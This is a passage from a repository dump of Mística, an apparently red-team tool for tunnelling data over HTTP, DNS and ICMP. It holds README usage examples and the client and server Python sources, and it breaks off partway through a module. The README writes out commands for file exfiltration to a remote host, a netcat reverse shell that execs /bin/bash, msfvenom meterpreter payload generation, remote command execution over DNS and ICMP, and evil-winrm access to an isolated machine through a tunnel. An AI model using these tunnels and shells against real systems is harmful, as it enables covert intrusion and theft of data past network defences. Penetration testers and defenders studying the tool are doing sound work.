- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- HTTP **POST** method with b64 encoding in default field, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- HTTP **POST** method with b64 encoding in **custom header**, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- HTTP **POST** method with b64 encoding in **custom field**, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP **POST** method with b64 encoding in **custom field, with custom packet size, custom retries, custom timeout and sepcifying IP and port**:
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- HTTP **POST** method with b64 encoding in **custom field**, **using a custom error template**, using localhost and port 8080 (default values).
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP GET method with b64 encoding in the default URI, using **custom HTTP response code** and using localhost and port 8080 (default values):
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- HTTPS GET method with b64 encoding in the default URI using 443 port. A certificate must be generated in Mistica Server to use the ssl option, the Mistica Client only needs to receive the ssl flag:
- Mística Server:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- HTTP GET method with b64 encoding in the default URI, using proxy server in Mistica Client (can be used in environments where HTTP communication must necessarily pass through a corporate proxy, which is not specified in the computer configuration). Test the following example with Burpsuite:
- Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
In order to illustrate the different methods of DNS encapsulation, the IO redirection overlay module (`io`) will be used for every example.
- TXT query, using localhost and port 5353 (default values):
- Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey"`
- NS query, using localhost and port 5353 (default values):
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME query, using localhost and port 5353 (default values):
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX query, using localhost and port 5353 (default values):
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA query, using localhost and port 5353 (default values):
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT query, using localhost and port 5353 (default values) and **custom domains**:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Mística Client:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT query, specifying port and hostname:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT query, using multiple subdomains:
- Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
The Linux kernel, when it receives an icmp echo request package, by default automatically responds with an icmp echo reply package (without giving us any option to reply). That's why we have to disable icmp responses to be able to send our own with data that differs from that sent by the client. To do this, we do the following:
Disable automatic icmp responses by the kernel (*root required*) editing `/etc/sysctl.conf` file:
- Add the following line to your /etc/sysctl.conf:
```
net.ipv4.icmp_echo_ignore_all=1
```
- Then, run: `sysctl -p` to take effect.
Now, in order to illustrate the different methods of ICMP encapsulation, the IO redirection overlay module (`io`) will be used for every example.
- ICMP Data Section, using interface eth0:
- Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
- Mística Client: `./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`
### Shell and IO
You can get remote command execution using mística over a custom channel, by combining `io` and `shell` modules. Examples:
- Executing commands on client system over DNS using TXT query.
- Mística Server: `sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"`
- Mística Client: `./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"`
- Executing commands on server system over HTTP using GET requests:
- Mística Server: `./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"`
- Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"`
- Executing commands on client system over ICMP:
- Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
- Mística Client: `./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`
- Exfiltrating files via HTTP using the IO module and redirect operators:
- Mística Server: `./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf`
- Mística Client (**important to run from the cmd**): `type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv`
### Port forwarding with tcpconnect and tcplisten
- Remote port forwarding (seen from server) over HTTP. Address `127.0.0.1:4444` on the client will be forwarded to address `127.0.0.1:5555` on the server. There must be already something listening on `5555`.
- Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"`
- Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
- Local port forwarding (seen from server) over DNS. Address `127.0.0.1:4444` on the server will be forwarded to address `127.0.0.1:5555` on the client. There must be already something listening on `5555`.
- Mística Server: `sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"`
- Mística Client: `./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"`
- HTTP reverse shell using netcat on linux client.
- Netcat Listener (on server): `nc -nlvp 5555`
- Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"`
- Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
- Netcat Shell (on linux client): `ncat -nve /bin/bash 127.0.0.1 4444`
- Running `meterpreter_reverse_tcp` (linux) over DNS using port forwarding. Payload generated with `msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin`
- Run `msfconsole` on server and launch handler with: `handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555`
- Mística Server: `sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"`
- Mística Client: `./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"`
- Run meterpreter on client: `./meterpreter_reverse_tcp_localhost_4444.bin`
- [EvilWinrm](https://github.com/Hackplayers/evil-winrm) over ICMP using a jumping machine to access an isolated machine.
- Mistica Server: `./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv`
- Mistica Client: `python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv`
- EvilWinrm Console (on C2 machine): `evil-winrm -u Administrador -i 127.0.0.1 -P 5555`
## Docker
A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local applications. To build it we simply follow these steps:
* First build image with:
```
sudo docker build --tag mistica:latest .
```
* Second, create the network with:
```
sudo docker network create misticanw
```
* Third run the server with:
```
sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
* Fourth run the client with:
```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
## How to compile
Mística is a tool developed in Python, which means that, theoretically, it can be compiled.
To compile the tool we will use [Pyinstaller](https://www.pyinstaller.org/), this tool will allow us to generate a binary (depending on the operating system we are in), this means that we can NOT do Cross-compiling as in other languages like C, C++, Golang, Rust, etc. **We are working on a way to make this possible**, however, we leave you with the Pyinstaller command that will allow us to compile Mística in any operating system:
### Compile Mistica Client
As Mística Client has no dependencies, it can be compiled directly with Pyinstaller. To compile it follow the following steps:
* First, install pyinstaller for Python3.7 or higher:
```
python3.7 -m pip install pyinstaller --user
```
* And now, compile Mística Client with the following command:
```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
```
### Compile Mistica Server
If you want to compile Mística Server you need to install, with Pip, Dnslib library in a global (remember that it is the only dependency of Mística, and only for the Mística Server). To do this you need to follow the following steps:
* First, install Python3.7 or higher on your Windows, Linux or Mac system.
* Second, install, with Pip, the Dnslib library: `pip install dnslib` (without the "--user" flag, this way it will be installed globally on the system, otherwise, pyinstaller will not be able to add it as hidden import. This step requires administrator permissions)
* Thirdly, install, with Pip, the Pyinstaller library: `pip install pyinstaller`.
* And fourth, compile Mística Server with the following command:
```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
--hiddenimport dnslib \
ms.py
```
## Future work
- Cross-Compiling method to be able to compile Mistica for different operating systems without having to do so from the target operating system.
- Transparent Diffie-Hellman key generation for SOTP protocol
- Multi-Handler mode: Interactive mode for `ms.py`. This will let the user combine more than one overlay with more than one wrapper and more than one wrap module per wrap server.
- Module development documentation for custom module development. This is discouraged right now as module specification is still under development.
- Next modules:
- SMB wrapper
- RAT and RAT handler overlay
- SOCKS proxy and dynamic port forwarding overlay
- File Transfer overlay
- RDP wrapper
- Custom HTTP templates for more complex encapsulation
- SOTP protocol specification documentation for custom clients or servers. This is discouraged right now as the protocol is still under development.
## Authors and license
This project has been developed by Carlos Fernández Sánchez and Raúl Caro Teixidó. The code is released under the GNU General Public License v3.
This project uses third-party open-source code, particularly:
- [Bitstring](https://github.com/scott-griffiths/bitstring) developed by Scott Griffiths.
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) developed by David Buchanan.
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) developed by Vlad Vitan.
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) developed by Raul Caro.
================================================
FILE: logs/.gitkeep
================================================
================================================
FILE: mc.py
================================================
#!/usr/bin/python3.7
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from argparse import ArgumentParser
from threading import Thread, Semaphore
from queue import Queue, Empty
from importlib import import_module
from sotp.clientworker import ClientWorker
from utils.messaging import Message, SignalType, MessageType
from utils.logger import Log
from time import sleep
from sys import exit, stdin
from platform import system
from signal import signal, SIGINT
from utils.prompt import Prompt
if system() != "Windows":
from select import poll, POLLIN
from sotp.misticathread import ClientOverlay, ClientWrapper
from wrapper.client import *
from overlay.client import *
class MisticaClient(object):
def __init__(self, key, args, verbose):
self.name = type(self).__name__
self.wrapper = None
self.overlay = None
self.qsotp = Queue()
self.qdata = Queue()
self.sem = Semaphore(1)
self.sotp_sem = Semaphore(1)
self.released = False
# Overlay and Wrapper args
self.overlayname = args["overlay"]
self.wrappername = args["wrapper"]
self.overlayargs = args["overlay_args"]
self.wrapperargs = args["wrapper_args"]
# Mistica Client args
self.key = key
# Arguments depended of overlay used
self.tag = None
# Arguments depended of wrapper used
self.max_size = None
self.poll_delay = None
self.response_timeout = None
self.max_retries = None
# Logger parameters
self.logger = Log('_client', verbose) if verbose > 0 else None
self._LOGGING_ = False if self.logger is None else True
def doWrapper(self):
self.sem.acquire()
self._LOGGING_ and self.logger.info(f"[Wrapper] Initializing...")
self.wrapper = [x for x in ClientWrapper.__subclasses__() if x.NAME == self.wrappername][0](self.qsotp, self.wrapperargs, self.logger)
self.wrapper.start()
# setting sotp arguments depending on the wrapper to be used
self.max_size = self.wrapper.max_size
self.response_timeout = self.wrapper.response_timeout
self.poll_delay = self.wrapper.poll_delay
self.max_retries = self.wrapper.max_retries
self.sem.release()
def doSotp(self):
try:
self.sem.acquire()
self._LOGGING_ and self.logger.info(f"[{self.name}] Initializing...")
self.sem.release()
self.sotp_sem.acquire()
i = 1
s = ClientWorker(self.key,
self.max_retries,
self.max_size,
self.tag,
self.overlayname,
self.wrappername,
self.qdata,
self.logger)
dataThread = Thread(target=s.dataEntry, args=(self.qsotp,))
dataThread.start()
while not s.exit:
answers = []
self._LOGGING_ and self.logger.debug(f"[{self.name}] Iteration nº{i} Status: {s.st} Seq: {s.seqnumber}/65535")
if s.wait_reply:
timeout = self.response_timeout
else:
timeout = self.poll_delay
try:
dataEntry = self.qsotp.get(True,timeout)
answers = s.Entrypoint(dataEntry)
except Empty:
if s.wait_reply:
answers = s.lookForRetries()
else:
answers = s.getPollRequest()
for answer in answers:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Sent: {answer.printHeader()}")
if answer.receiver == self.wrapper.name:
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] Retries {s.retries}/{self.max_retries}")
self.wrapper.inbox.put(answer)
elif answer.receiver == self.overlay.name:
self.overlay.inbox.put(answer)
else:
raise Exception(f"Invalid answer to {answer.receiver} in client loop")
if self.released == False and s.sotp_first_push:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Initialized! Unblocked sem")
self.sotp_sem.release()
self.released = True
i += 1
pass
dataThread.join()
self._LOGGING_ and self.logger.info(f"[DataThread] Terminated")
self._LOGGING_ and self.logger.info(f"[{s.name}] Terminated")
except Exception as e:
print(e)
self._LOGGING_ and self.logger.exception(f"[ClientWorker] Exception in doSotp: {e}")
self.overlay.inbox.put(Message("clientworker", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))
self.wrapper.inbox.put(Message("clientworker", 0, self.wrappername, 0, MessageType.SIGNAL, SignalType.TERMINATE))
def doOverlay(self):
self.sem.acquire()
self._LOGGING_ and self.logger.info(f"[Overlay] Initializing...")
self.overlay = [x for x in ClientOverlay.__subclasses__() if x.NAME == self.overlayname][0](self.qsotp, self.qdata, self.overlayargs, self.logger)
self.overlay.start()
# setting sotp arguments depending on the overlay to be used
self.tag = self.overlay.tag
self.sem.release()
def captureInput(self):
self.sem.acquire()
self._LOGGING_ and self.logger.info(f"[Input] Initializing...")
self.sem.release()
if system() != 'Windows':
polling = poll()
while True:
if self.overlay.exit:
break
try:
if system() == 'Windows':
# Ugly loop for windows
rawdata = stdin.buffer.raw.read(300000)
sleep(0.1)
else:
# Nice loop for unix
polling.register(stdin.buffer.raw.fileno(), POLLIN)
polling.poll()
rawdata = stdin.buffer.raw.read(300000)
if rawdata == b'': # assume EOF
self.sotp_sem.acquire()
self._LOGGING_ and self.logger.debug(f"[Input] SOTP initialized, sending terminate because input recv EOF")
self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))
self.sotp_sem.release()
break
if rawdata and len(rawdata) > 0 and self.overlay.hasInput:
self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.STREAM, rawdata))
except KeyboardInterrupt:
self._LOGGING_ and self.logger.debug("[Input] CTRL+C detected. Passing to wrapper")
self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))
break
self._LOGGING_ and self.logger.info(f"[Input] Terminated")
return
def captureExit(self, signal_received, frame):
self._LOGGING_ and self.logger.debug("[Input] CTRL+C detected. Passing to overlay")
self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))
def run(self):
try:
self.doWrapper()
self.doOverlay()
sotpThread = Thread(target=self.doSotp)
sotpThread.start()
if self.overlay.hasInput:
self.captureInput()
else:
signal(SIGINT, self.captureExit)
# Crappy loop for windows
if system() == 'Windows':
while not self.overlay.exit:
sleep(0.5)
# Nice sync primitive for unix
else:
sotpThread.join()
except Exception as e:
self._LOGGING_ and self.logger.exception(f"Exception at run(): {e}")
finally:
self._LOGGING_ and self.logger.debug(f"[{self.name}] Terminated")
if __name__ == '__main__':
parser = ArgumentParser(description=f"Mistica client.")
# Sotp Client arguments.
parser.add_argument('-k', "--key", action='store', default="",required=False, help="RC4 key used to encrypt the comunications")
parser.add_argument("-l", "--list", action='store', required=False, help="Lists modules or parameters. Options are: all, overlays, wrappers, <overlay name>, <wrapper name>")
# Wrapper and Overlay arguments.
parser.add_argument("-m", "--modules", action='store', required=False, help="Module pair. Format: 'overlay:wrapper'")
parser.add_argument("-w", "--wrapper-args", action='store', required=False, default='', help="args for the selected overlay module")
parser.add_argument("-o", "--overlay-args", action='store', required=False, default='', help="args for the selected wrapper module")
parser.add_argument('-v', '--verbose', action='count', default=0, help="Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)")
args = parser.parse_args()
moduleargs = {}
if args.list:
# list and quit
if args.list == "all" or args.list == "overlays" or args.list == "wrappers":
print(Prompt.listModules("client", args.list))
else:
Prompt.listParameters("client", args.list)
exit(0)
elif args.modules:
if args.key == "":
print("You must suply a key for RC4 encryption. Use -k or --key")
exit(1)
moduleargs["overlay"] = args.modules.partition(":")[0]
moduleargs["wrapper"] = args.modules.partition(":")[2]
if Prompt.findModule("client", moduleargs["overlay"]) is None:
print(f"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.")
exit(1)
if Prompt.findModule("client", moduleargs["wrapper"]) is None:
print(f"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.")
exit(1)
moduleargs["overlay_args"] = args.overlay_args
moduleargs["wrapper_args"] = args.wrapper_args
elif args.overlay_args:
print("Error: Overlay parameters without overlay module. Please use -m")
exit(1)
elif args.wrapper_args:
print("Error: Wrapper parameters without wrapper module. Please use -m")
exit(1)
else:
parser.print_help()
exit(0)
c = MisticaClient(args.key,moduleargs,args.verbose)
c.run()
================================================
FILE: ms.py
================================================
#!/usr/bin/python3.7
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
import argparse
from utils.logger import Log
from utils.messaging import Message, SignalType, MessageType
from sotp.router import Router
from importlib import import_module
from signal import signal, SIGINT
from random import choice
from utils.prompt import Prompt
from sys import exit, stdin
from platform import system
if system() != "Windows":
from select import poll, POLLIN
from time import sleep
from sotp.misticathread import ServerOverlay, ServerWrapper
from wrapper.server.wrap_module import *
from overlay.server import *
class MisticaMode:
SINGLE = 0
MULTI = 1
class ModuleType:
WRAP_MODULE = 0
WRAP_SERVER = 2
OVERLAY = 3
class MisticaServer():
def __init__(self, mode, key, verbose, moduleargs):
# Get args and set attributes
self.args = moduleargs
# Logger params
self.logger = Log('_server', verbose) if verbose > 0 else None
self._LOGGING_ = False if self.logger is None else True
# init Router
self.key = key
self.Router = Router(self.key, self.logger)
self.Router.start()
self.mode = mode
self.procid = 0
if self.mode == MisticaMode.SINGLE:
self.overlayname = self.args["overlay"]
self.wrappername = self.args["wrapper"]
# Checks if the wrap_server of a certain wrap_module is up and running.
def dependencyLaunched(self, wmitem):
dname = wmitem.SERVER_CLASS
for elem in self.Router.wrapServers:
if dname == elem.name:
return True
return False
# Returns a wrap_module, wrap_server or overlay module
def getModuleInstance(self, type, name, args):
self.procid += 1
if (type == ModuleType.WRAP_MODULE):
return [x for x in ServerWrapper.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, args, self.logger)
else:
return [x for x in ServerOverlay.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, self.mode, args, self.logger)
def sigintDetect(self, signum, frame):
self._LOGGING_ and self.logger.info("[Sotp] SIGINT detected")
if (self.mode == MisticaMode.SINGLE):
targetoverlay = self.Router.overlayModules[0]
targetoverlay.inbox.put(Message('input',
0,
self.Router.overlayModules[0].name,
self.Router.overlayModules[0].id,
MessageType.SIGNAL,
SignalType.TERMINATE))
else:
# TODO: Depends on who's on the foreground
pass
def captureInput(self, overlay):
while True:
if overlay.exit:
break
if system() != 'Windows':
polling = poll()
try:
if system() == 'Windows':
# Ugly loop for windows
rawdata = stdin.buffer.raw.read(50000)
sleep(0.1)
else:
# Nice loop for unix
polling.register(stdin.buffer.raw.fileno(), POLLIN)
polling.poll()
rawdata = stdin.buffer.raw.read(50000)
if rawdata == b'': # assume EOF
self._LOGGING_ and self.logger.info("[MísticaServer] Input is dead")
self.Router.join()
if rawdata and len(rawdata) > 0 and overlay.hasInput:
overlay.inbox.put(Message('input', 0, 'overlay', overlay.id, MessageType.STREAM, rawdata))
except KeyboardInterrupt:
self._LOGGING_ and self.logger.info("[MísticaServer] CTRL+C detected. Passing to overlay")
overlay.inbox.put(Message('input',
0,
self.Router.overlayModules[0].name,
self.Router.overlayModules[0].id,
MessageType.SIGNAL,
SignalType.TERMINATE))
break
return
def run(self):
# If the mode is single-handler only a wrapper module and overlay module is used
if self.mode == MisticaMode.SINGLE:
# Launch wrap_module
wmitem = self.getModuleInstance(ModuleType.WRAP_MODULE, self.wrappername, self.args["wrapper_args"])
wmitem.start()
self.Router.wrapModules.append(wmitem)
# Check wrap_server dependency of wrap_module and launch it
if not self.dependencyLaunched(wmitem):
self.procid += 1
wsitem = wmitem.SERVER_CLASS(self.procid, self.args["wrap_server_args"], self.logger)
wsitem.start()
self.Router.wrapServers.append(wsitem)
else:
wsitem = [elem for elem in self.Router.wrapServers if wsname == wmitem.SERVER_CLASS.NAME][0]
# add wrap_module to wrap_server list
wsitem.addWrapModule(wmitem)
# Launch overlay module
omitem = self.getModuleInstance(ModuleType.OVERLAY, self.overlayname, self.args["overlay_args"])
omitem.start()
self.Router.overlayModules.append(omitem)
targetoverlay = self.Router.overlayModules[0]
if targetoverlay.hasInput:
self.captureInput(targetoverlay)
self.Router.join()
self._LOGGING_ and self.logger.debug("[MísticaServer] Terminated")
elif self.mode == MisticaMode.MULTI:
# Launch prompt etc.
# Before registering a wrapper or an overlay, we must make sure that there is no other
# module with incompatible parameters (e.g 2 DNS base64-based wrap_modules)
self.Router.inbox.put(Message("Mistica", 0, "sotp", 0, MessageType.SIGNAL, SignalType.TERMINATE))
print("Multi-handler mode is not implemented yet! use -h")
exit(0)
if __name__ == '__main__':
fortunes = ["The Last Protocol Bender.",
"Your friendly data smuggler.",
"Anything is a tunnel if you're brave enough.",
"It's a wrap!",
"The Overlay Overlord."]
parser = argparse.ArgumentParser(description=f"Mistica server. {choice(fortunes)} Run without parameters to launch multi-handler mode.")
parser.add_argument('-k', "--key", action='store', default="", required=False, help="RC4 key used to encrypt the comunications")
parser.add_argument("-l", "--list", action='store', required=False, help="Lists modules or parameters. Options are: all, overlays, wrappers, <overlay name>, <wrapper name>")
parser.add_argument("-m", "--modules", action='store', required=False, help="Module pair in single-handler mode. format: 'overlay:wrapper'")
parser.add_argument("-w", "--wrapper-args", action='store', required=False, default='', help="args for the selected overlay module (Single-handler mode)")
parser.add_argument("-o", "--overlay-args", action='store', required=False, default='', help="args for the selected wrapper module (Single-handler mode)")
parser.add_argument("-s", "--wrap-server-args", action='store', required=False, default='', help="args for the selected wrap server (Single-handler mode)")
parser.add_argument('-v', '--verbose', action='count', default=0, help="Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)")
args = parser.parse_args()
moduleargs = {}
if args.list:
# list and quit
if args.list == "all" or args.list == "overlays" or args.list == "wrappers":
print(Prompt.listModules("server", args.list))
else:
Prompt.listParameters("server", args.list)
exit(0)
elif args.modules:
if args.key == "":
print("You must suply a key for RC4 encryption. Use -k or --key")
exit(1)
moduleargs["overlay"] = args.modules.partition(":")[0]
moduleargs["wrapper"] = args.modules.partition(":")[2]
if Prompt.findModule("server", moduleargs["overlay"]) is None:
print(f"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.")
exit(1)
if Prompt.findModule("server", moduleargs["wrapper"]) is None:
print(f"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.")
exit(1)
moduleargs["overlay_args"] = args.overlay_args
moduleargs["wrapper_args"] = args.wrapper_args
moduleargs["wrap_server_args"] = args.wrap_server_args
mode = MisticaMode.SINGLE
elif args.overlay_args:
print("Error: Overlay parameters without overlay module. Please use -m")
exit(1)
elif args.wrapper_args:
print("Error: Wrapper parameters without wrapper module. Please use -m")
exit(1)
else:
mode = MisticaMode.MULTI
s = MisticaServer(mode, args.key, args.verbose, moduleargs)
s.run()
================================================
FILE: overlay/client/__init__.py
================================================
__all__ = ["io", "shell", "tcpconnect", "tcplisten"]
================================================
FILE: overlay/client/io.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.misticathread import ClientOverlay
from sys import stdout
class io(ClientOverlay):
NAME = "io"
CONFIG = {
"prog": NAME,
"description": "Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout",
"args": [
{
"--tag": {
"help": "Tag used by the overlay",
"nargs": 1,
"required": False,
"default": ["0x1010"]
}
}
]
}
def __init__(self, qsotp, qdata, args, logger=None):
ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger)
self.name = type(self).__name__
# Setting input capture
self.hasInput = True
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def processInputStream(self, content):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from STDIN: {len(content)} bytes")
return content
def processSOTPStream(self, content):
